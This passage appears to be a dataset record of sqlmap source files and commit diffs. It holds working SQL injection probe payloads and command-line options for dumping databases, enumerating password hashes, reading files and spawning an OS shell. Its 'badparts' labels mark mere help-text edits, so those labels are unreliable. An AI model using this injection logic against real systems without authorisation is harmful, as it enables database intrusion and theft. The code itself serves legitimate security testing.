randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"double quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"stringdouble\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"double quoted string injectable\" logger.info(infoMsg) infoMsg =\"testing LIKE double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming LIKE double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s and %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"LIKE double quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"likedouble\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"LIKE double quoted string injectable\" logger.info(infoMsg) return None def checkDynParam(place, parameter, value): \"\"\" This function checks if the url parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. \"\"\" infoMsg=\"testing if %s parameter '%s' is dynamic\" %(place, parameter) logger.info(infoMsg) randInt=randomInt() payload=agent.payload(place, parameter, value, str(randInt)) dynResult1=Request.queryPage(payload, place) if True==dynResult1: return False infoMsg=\"confirming that %s parameter '%s' is dynamic\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"'%s\" % randomStr()) dynResult2=Request.queryPage(payload, place) payload=agent.payload(place, parameter, value, \"\\\"%s\" % randomStr()) dynResult3=Request.queryPage(payload, place) condition =True !=dynResult2 condition |=True !=dynResult3 return condition def checkStability(): \"\"\" This function checks if the URL content is stable requesting the same page three times with a small delay within each request to assume that it is stable. In case the content of the page differs when requesting the same page, the dynamicity might depend on other parameters, like for instance string matching(--string). \"\"\" infoMsg=\"testing if the url is stable, wait a few seconds\" logger.info(infoMsg) firstPage, firstHeaders=Request.queryPage(content=True) time.sleep(0.5) secondPage, secondHeaders=Request.queryPage(content=True) time.sleep(0.5) thirdPage, thirdHeaders=Request.queryPage(content=True) condition =firstPage==secondPage condition &=secondPage==thirdPage if condition==False: warnMsg =\"url is not stable, sqlmap will base the page \" warnMsg +=\"comparison on a sequence matcher, if no dynamic nor \" warnMsg +=\"injectable parameters are detected, refer to user's \" warnMsg +=\"manual paragraph 'Page comparison' and provide a \" warnMsg +=\"string or regular expression to match on\" logger.warn(warnMsg) if condition==True: logMsg=\"url is stable\" logger.info(logMsg) return condition def checkString(): if not conf.string: return True condition=( kb.resumedQueries.has_key(conf.url) and kb.resumedQueries[conf.url].has_key(\"String\") and kb.resumedQueries[conf.url][\"String\"][:-1]==conf.string ) if condition: return True infoMsg =\"testing if the provided string is within the \" infoMsg +=\"target URL page content\" logger.info(infoMsg) page, _=Request.queryPage(content=True) if conf.string in page: setString() return True else: errMsg =\"you provided '%s' as the string to \" % conf.string errMsg +=\"match, but such a string is not within the target \" errMsg +=\"URL page content, please provide another string.\" logger.error(errMsg) return False def checkRegexp(): if not conf.regexp: return True condition=( kb.resumedQueries.has_key(conf.url) and kb.resumedQueries[conf.url].has_key(\"Regular expression\") and kb.resumedQueries[conf.url][\"Regular expression\"][:-1]==conf.regexp ) if condition: return True infoMsg =\"testing if the provided regular expression matches within \" infoMsg +=\"the target URL page content\" logger.info(infoMsg) page, _=Request.queryPage(content=True) if re.search(conf.regexp, page, re.I | re.M): setRegexp() return True else: errMsg =\"you provided '%s' as the regular expression to \" % conf.regexp errMsg +=\"match, but such a regular expression does not have any \" errMsg +=\"match within the target URL page content, please provide \" errMsg +=\"another regular expression.\" logger.error(errMsg) return False def checkConnection(): infoMsg=\"testing connection to the target url\" logger.info(infoMsg) try: page, _=Request.getPage() conf.seqMatcher.set_seq1(page) except sqlmapConnectionException, exceptionMsg: if conf.multipleTargets: exceptionMsg +=\", skipping to next url\" logger.warn(exceptionMsg) return False else: raise sqlmapConnectionException, exceptionMsg return True ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nimport re\nimport time\n\nfrom lib.controller.action import action\nfrom lib.core.agent import agent\nfrom lib.core.common import randomInt\nfrom lib.core.common import randomStr\nfrom lib.core.data import conf\nfrom lib.core.data import kb\nfrom lib.core.data import logger\nfrom lib.core.exception import sqlmapConnectionException\nfrom lib.core.session import setString\nfrom lib.core.session import setRegexp\nfrom lib.request.connect import Connect as Request\n\n\ndef checkSqlInjection(place, parameter, value, parenthesis):\n \"\"\"\n This function checks if the GET, POST, Cookie, User-Agent\n parameters are affected by a SQL injection vulnerability and\n identifies the type of SQL injection:\n\n * Unescaped numeric injection\n * Single quoted string injection\n * Double quoted string injection\n \"\"\"\n\n randInt = randomInt()\n randStr = randomStr()\n\n if conf.prefix or conf.postfix:\n prefix = \"\"\n postfix = \"\"\n\n if conf.prefix:\n prefix = conf.prefix\n\n if conf.postfix:\n postfix = conf.postfix\n\n infoMsg = \"testing custom injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" % (value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt, postfix))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" % (value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt + 1, postfix))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming custom injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s%s AND %s%s %s\" % (value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randStr, postfix))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"custom injectable \"\n logger.info(infoMsg)\n\n return \"custom\"\n\n infoMsg = \"testing unescaped numeric injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt + 1))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming unescaped numeric injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s AND %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"unescaped numeric injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"numeric\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"unescaped numeric injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s and %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"single quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"stringsingle\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"single quoted string injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing LIKE single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming LIKE single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s and %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"LIKE single quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"likesingle\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"LIKE single quoted string injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"double quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"stringdouble\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"double quoted string injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing LIKE double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming LIKE double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s and %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"LIKE double quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"likedouble\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"LIKE double quoted string injectable\"\n logger.info(infoMsg)\n\n return None\n\n\ndef checkDynParam(place, parameter, value):\n \"\"\"\n This function checks if the url parameter is dynamic. If it is\n dynamic, the content of the page differs, otherwise the\n dynamicity might depend on another parameter.\n \"\"\"\n\n infoMsg = \"testing if %s parameter '%s' is dynamic\" % (place, parameter)\n logger.info(infoMsg)\n\n randInt = randomInt()\n payload = agent.payload(place, parameter, value, str(randInt))\n dynResult1 = Request.queryPage(payload, place)\n\n if True == dynResult1:\n return False\n\n infoMsg = \"confirming that %s parameter '%s' is dynamic\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"'%s\" % randomStr())\n dynResult2 = Request.queryPage(payload, place)\n\n payload = agent.payload(place, parameter, value, \"\\\"%s\" % randomStr())\n dynResult3 = Request.queryPage(payload, place)\n\n condition = True != dynResult2\n condition |= True != dynResult3\n\n return condition\n\n\ndef checkStability():\n \"\"\"\n This function checks if the URL content is stable requesting the\n same page three times with a small delay within each request to\n assume that it is stable.\n\n In case the content of the page differs when requesting\n the same page, the dynamicity might depend on other parameters,\n like for instance string matching (--string).\n \"\"\"\n\n infoMsg = \"testing if the url is stable, wait a few seconds\"\n logger.info(infoMsg)\n\n firstPage, firstHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n\n secondPage, secondHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n\n thirdPage, thirdHeaders = Request.queryPage(content=True)\n\n condition = firstPage == secondPage\n condition &= secondPage == thirdPage\n\n if condition == False:\n warnMsg = \"url is not stable, sqlmap will base the page \"\n warnMsg += \"comparison on a sequence matcher, if no dynamic nor \"\n warnMsg += \"injectable parameters are detected, refer to user's \"\n warnMsg += \"manual paragraph 'Page comparison' and provide a \"\n warnMsg += \"string or regular expression to match on\"\n logger.warn(warnMsg)\n\n if condition == True:\n logMsg = \"url is stable\"\n logger.info(logMsg)\n\n return condition\n\n\ndef checkString():\n if not conf.string:\n return True\n\n condition = (\n kb.resumedQueries.has_key(conf.url) and\n kb.resumedQueries[conf.url].has_key(\"String\") and\n kb.resumedQueries[conf.url][\"String\"][:-1] == conf.string\n )\n\n if condition:\n return True\n\n infoMsg = \"testing if the provided string is within the \"\n infoMsg += \"target URL page content\"\n logger.info(infoMsg)\n\n page, _ = Request.queryPage(content=True)\n\n if conf.string in page:\n setString()\n return True\n else:\n errMsg = \"you provided '%s' as the string to \" % conf.string\n errMsg += \"match, but such a string is not within the target \"\n errMsg += \"URL page content, please provide another string.\"\n logger.error(errMsg)\n\n return False\n\n\ndef checkRegexp():\n if not conf.regexp:\n return True\n\n condition = (\n kb.resumedQueries.has_key(conf.url) and\n kb.resumedQueries[conf.url].has_key(\"Regular expression\") and\n kb.resumedQueries[conf.url][\"Regular expression\"][:-1] == conf.regexp\n )\n\n if condition:\n return True\n\n infoMsg = \"testing if the provided regular expression matches within \"\n infoMsg += \"the target URL page content\"\n logger.info(infoMsg)\n\n page, _ = Request.queryPage(content=True)\n\n if re.search(conf.regexp, page, re.I | re.M):\n setRegexp()\n return True\n else:\n errMsg = \"you provided '%s' as the regular expression to \" % conf.regexp\n errMsg += \"match, but such a regular expression does not have any \"\n errMsg += \"match within the target URL page content, please provide \"\n errMsg += \"another regular expression.\"\n logger.error(errMsg)\n\n return False\n\n\ndef checkConnection():\n infoMsg = \"testing connection to the target url\"\n logger.info(infoMsg)\n\n try:\n page, _ = Request.getPage()\n conf.seqMatcher.set_seq1(page)\n\n except sqlmapConnectionException, exceptionMsg:\n if conf.multipleTargets:\n exceptionMsg += \", skipping to next url\"\n logger.warn(exceptionMsg)\n\n return False\n else:\n raise sqlmapConnectionException, exceptionMsg\n\n return True\n"}, "/lib/parse/cmdline.py": {"changes": [{"diff": "\n \"be used to enumerate the back-end database \"\n \"management system information, structure \"\n \"and data contained in the tables. Moreover \"\n- \"you can run your own SQL SELECT queries.\")\n+ \"you can run your own SQL statements.\")\n \n enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\",\n action=\"store_true\", help=\"Retrieve DBMS banner\")\n", "add": 1, "remove": 1, "filename": "/lib/parse/cmdline.py", "badparts": [" \"you can run your own SQL SELECT queries.\")"], "goodparts": [" \"you can run your own SQL statements.\")"]}, {"diff": "\n help=\"Last table entry to dump\")\n \n enumeration.add_option(\"--sql-query\", dest=\"query\",\n- help=\"SQL SELECT query to be executed\")\n+ help=\"SQL statement to be executed\")\n \n enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\",\n action=\"store_true", "add": 1, "remove": 1, "filename": "/lib/parse/cmdline.py", "badparts": [" help=\"SQL SELECT query to be executed\")"], "goodparts": [" help=\"SQL statement to be executed\")"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" import sys from optparse import OptionError from optparse import OptionGroup from optparse import OptionParser from lib.core.data import logger from lib.core.settings import VERSION_STRING def cmdLineParser(): \"\"\" This function parses the command line parameters and arguments \"\"\" usage=\"%s[options]\" % sys.argv[0] parser=OptionParser(usage=usage, version=VERSION_STRING) try: parser.add_option(\"-v\", dest=\"verbose\", type=\"int\", help=\"Verbosity level: 0-5(default 1)\") target=OptionGroup(parser, \"Target\", \"At least one of these \" \"options has to be specified to set the source \" \"to get target urls from.\") target.add_option(\"-u\", \"--url\", dest=\"url\", help=\"Target url\") target.add_option(\"-l\", dest=\"list\", help=\"Parse targets from Burp \" \"or WebScarab logs\") target.add_option(\"-g\", dest=\"googleDork\", help=\"Process Google dork results as target urls\") target.add_option(\"-c\", dest=\"configFile\", help=\"Load options from a configuration INI file\") request=OptionGroup(parser, \"Request\", \"These options can be used \" \"to specify how to connect to the target url.\") request.add_option(\"--method\", dest=\"method\", default=\"GET\", help=\"HTTP method, GET or POST(default: GET)\") request.add_option(\"--data\", dest=\"data\", help=\"Data string to be sent through POST\") request.add_option(\"--cookie\", dest=\"cookie\", help=\"HTTP Cookie header\") request.add_option(\"--referer\", dest=\"referer\", help=\"HTTP Referer header\") request.add_option(\"--user-agent\", dest=\"agent\", help=\"HTTP User-Agent header\") request.add_option(\"-a\", dest=\"userAgentsFile\", help=\"Load a random HTTP User-Agent \" \"header from file\") request.add_option(\"--headers\", dest=\"headers\", help=\"Extra HTTP headers '\\\\n' separated\") request.add_option(\"--auth-type\", dest=\"aType\", help=\"HTTP Authentication type, value: \" \"Basic or Digest\") request.add_option(\"--auth-cred\", dest=\"aCred\", help=\"HTTP Authentication credentials, value: \" \"name:password\") request.add_option(\"--proxy\", dest=\"proxy\", help=\"Use a HTTP proxy to connect to the target url\") request.add_option(\"--threads\", dest=\"threads\", type=\"int\", help=\"Maximum number of concurrent HTTP \" \"requests(default 1)\") request.add_option(\"--delay\", dest=\"delay\", type=\"float\", help=\"Delay in seconds between each HTTP request\") request.add_option(\"--timeout\", dest=\"timeout\", type=\"float\", help=\"Seconds to wait before timeout connection \" \"(default 30)\") injection=OptionGroup(parser, \"Injection\", \"These options can be \" \"used to specify which parameters to test \" \"for, provide custom injection payloads and \" \"how to parse and compare HTTP responses \" \"page content when using the blind SQL \" \"injection technique.\") injection.add_option(\"-p\", dest=\"testParameter\", help=\"Testable parameter(s)\") injection.add_option(\"--dbms\", dest=\"dbms\", help=\"Force back-end DBMS to this value\") injection.add_option(\"--prefix\", dest=\"prefix\", help=\"Injection payload prefix string\") injection.add_option(\"--postfix\", dest=\"postfix\", help=\"Injection payload postfix string\") injection.add_option(\"--string\", dest=\"string\", help=\"String to match in page when the \" \"query is valid\") injection.add_option(\"--regexp\", dest=\"regexp\", help=\"Regexp to match in page when the \" \"query is valid\") injection.add_option(\"--excl-str\", dest=\"eString\", help=\"String to be excluded before calculating \" \"page hash\") injection.add_option(\"--excl-reg\", dest=\"eRegexp\", help=\"Regexp matches to be excluded before \" \"calculating page hash\") techniques=OptionGroup(parser, \"Techniques\", \"These options can \" \"be used to test for specific SQL injection \" \"technique or to use one of them to exploit \" \"the affected parameter(s) rather than using \" \"the default blind SQL injection technique.\") techniques.add_option(\"--stacked-test\", dest=\"stackedTest\", action=\"store_true\", help=\"Test for stacked queries(multiple \" \"statements) support\") techniques.add_option(\"--time-test\", dest=\"timeTest\", action=\"store_true\", help=\"Test for Time based blind SQL injection\") techniques.add_option(\"--union-test\", dest=\"unionTest\", action=\"store_true\", help=\"Test for UNION query(inband) SQL injection\") techniques.add_option(\"--union-use\", dest=\"unionUse\", action=\"store_true\", help=\"Use the UNION query(inband) SQL injection \" \"to retrieve the queries output. No \" \"need to go blind\") fingerprint=OptionGroup(parser, \"Fingerprint\") fingerprint.add_option(\"-f\", \"--fingerprint\", dest=\"extensiveFp\", action=\"store_true\", help=\"Perform an extensive DBMS version fingerprint\") enumeration=OptionGroup(parser, \"Enumeration\", \"These options can \" \"be used to enumerate the back-end database \" \"management system information, structure \" \"and data contained in the tables. Moreover \" \"you can run your own SQL SELECT queries.\") enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\", action=\"store_true\", help=\"Retrieve DBMS banner\") enumeration.add_option(\"--current-user\", dest=\"getCurrentUser\", action=\"store_true\", help=\"Retrieve DBMS current user\") enumeration.add_option(\"--current-db\", dest=\"getCurrentDb\", action=\"store_true\", help=\"Retrieve DBMS current database\") enumeration.add_option(\"--is-dba\", dest=\"isDba\", action=\"store_true\", help=\"Detect if the DBMS current user is DBA\") enumeration.add_option(\"--users\", dest=\"getUsers\", action=\"store_true\", help=\"Enumerate DBMS users\") enumeration.add_option(\"--passwords\", dest=\"getPasswordHashes\", action=\"store_true\", help=\"Enumerate DBMS users password hashes(opt: -U)\") enumeration.add_option(\"--privileges\", dest=\"getPrivileges\", action=\"store_true\", help=\"Enumerate DBMS users privileges(opt: -U)\") enumeration.add_option(\"--dbs\", dest=\"getDbs\", action=\"store_true\", help=\"Enumerate DBMS databases\") enumeration.add_option(\"--tables\", dest=\"getTables\", action=\"store_true\", help=\"Enumerate DBMS database tables(opt: -D)\") enumeration.add_option(\"--columns\", dest=\"getColumns\", action=\"store_true\", help=\"Enumerate DBMS database table columns \" \"(req:-T opt:-D)\") enumeration.add_option(\"--dump\", dest=\"dumpTable\", action=\"store_true\", help=\"Dump DBMS database table entries \" \"(req: -T, opt: -D, -C, --start, --stop)\") enumeration.add_option(\"--dump-all\", dest=\"dumpAll\", action=\"store_true\", help=\"Dump all DBMS databases tables entries\") enumeration.add_option(\"-D\", dest=\"db\", help=\"DBMS database to enumerate\") enumeration.add_option(\"-T\", dest=\"tbl\", help=\"DBMS database table to enumerate\") enumeration.add_option(\"-C\", dest=\"col\", help=\"DBMS database table column to enumerate\") enumeration.add_option(\"-U\", dest=\"user\", help=\"DBMS user to enumerate\") enumeration.add_option(\"--exclude-sysdbs\", dest=\"excludeSysDbs\", action=\"store_true\", help=\"Exclude DBMS system databases when \" \"enumerating tables\") enumeration.add_option(\"--start\", dest=\"limitStart\", type=\"int\", help=\"First table entry to dump\") enumeration.add_option(\"--stop\", dest=\"limitStop\", type=\"int\", help=\"Last table entry to dump\") enumeration.add_option(\"--sql-query\", dest=\"query\", help=\"SQL SELECT query to be executed\") enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\", action=\"store_true\", help=\"Prompt for an interactive SQL shell\") filesystem=OptionGroup(parser, \"File system access\", \"These options \" \"can be used to access the back-end database \" \"management system file system taking \" \"advantage of native DBMS functions or \" \"specific DBMS design weaknesses.\") filesystem.add_option(\"--read-file\", dest=\"rFile\", help=\"Read a specific OS file content(only on MySQL)\") filesystem.add_option(\"--write-file\", dest=\"wFile\", help=\"Write to a specific OS file(not yet available)\") takeover=OptionGroup(parser, \"Operating system access\", \"This \" \"option can be used to access the back-end \" \"database management system operating \" \"system taking advantage of specific DBMS \" \"design weaknesses.\") takeover.add_option(\"--os-shell\", dest=\"osShell\", action=\"store_true\", help=\"Prompt for an interactive OS shell \" \"(only on PHP/MySQL environment with a \" \"writable directory within the web \" \"server document root for the moment)\") miscellaneous=OptionGroup(parser, \"Miscellaneous\") miscellaneous.add_option(\"--eta\", dest=\"eta\", action=\"store_true\", help=\"Retrieve each query output length and \" \"calculate the estimated time of arrival \" \"in real time\") miscellaneous.add_option(\"--update\", dest=\"updateAll\", action=\"store_true\", help=\"Update sqlmap to the latest stable version\") miscellaneous.add_option(\"-s\", dest=\"sessionFile\", help=\"Save and resume all data retrieved \" \"on a session file\") miscellaneous.add_option(\"--save\", dest=\"saveCmdline\", action=\"store_true\", help=\"Save options on a configuration INI file\") miscellaneous.add_option(\"--batch\", dest=\"batch\", action=\"store_true\", help=\"Never ask for user input, use the default behaviour\") parser.add_option_group(target) parser.add_option_group(request) parser.add_option_group(injection) parser.add_option_group(techniques) parser.add_option_group(fingerprint) parser.add_option_group(enumeration) parser.add_option_group(filesystem) parser.add_option_group(takeover) parser.add_option_group(miscellaneous) (args, _)=parser.parse_args() if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll: errMsg =\"missing a mandatory parameter('-u', '-l', '-g', '-c' or '--update'), \" errMsg +=\"-h for help\" parser.error(errMsg) return args except(OptionError, TypeError), e: parser.error(e) debugMsg=\"parsing command line\" logger.debug(debugMsg) ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nimport sys\n\nfrom optparse import OptionError\nfrom optparse import OptionGroup\nfrom optparse import OptionParser\n\nfrom lib.core.data import logger\nfrom lib.core.settings import VERSION_STRING\n\n\ndef cmdLineParser():\n \"\"\"\n This function parses the command line parameters and arguments\n \"\"\"\n\n usage = \"%s [options]\" % sys.argv[0]\n parser = OptionParser(usage=usage, version=VERSION_STRING)\n\n try:\n parser.add_option(\"-v\", dest=\"verbose\", type=\"int\",\n help=\"Verbosity level: 0-5 (default 1)\")\n\n # Target options\n target = OptionGroup(parser, \"Target\", \"At least one of these \"\n \"options has to be specified to set the source \"\n \"to get target urls from.\")\n\n target.add_option(\"-u\", \"--url\", dest=\"url\", help=\"Target url\")\n\n target.add_option(\"-l\", dest=\"list\", help=\"Parse targets from Burp \"\n \"or WebScarab logs\")\n\n target.add_option(\"-g\", dest=\"googleDork\",\n help=\"Process Google dork results as target urls\")\n\n target.add_option(\"-c\", dest=\"configFile\",\n help=\"Load options from a configuration INI file\")\n\n\n # Request options\n request = OptionGroup(parser, \"Request\", \"These options can be used \"\n \"to specify how to connect to the target url.\")\n\n request.add_option(\"--method\", dest=\"method\", default=\"GET\",\n help=\"HTTP method, GET or POST (default: GET)\")\n\n request.add_option(\"--data\", dest=\"data\",\n help=\"Data string to be sent through POST\")\n\n request.add_option(\"--cookie\", 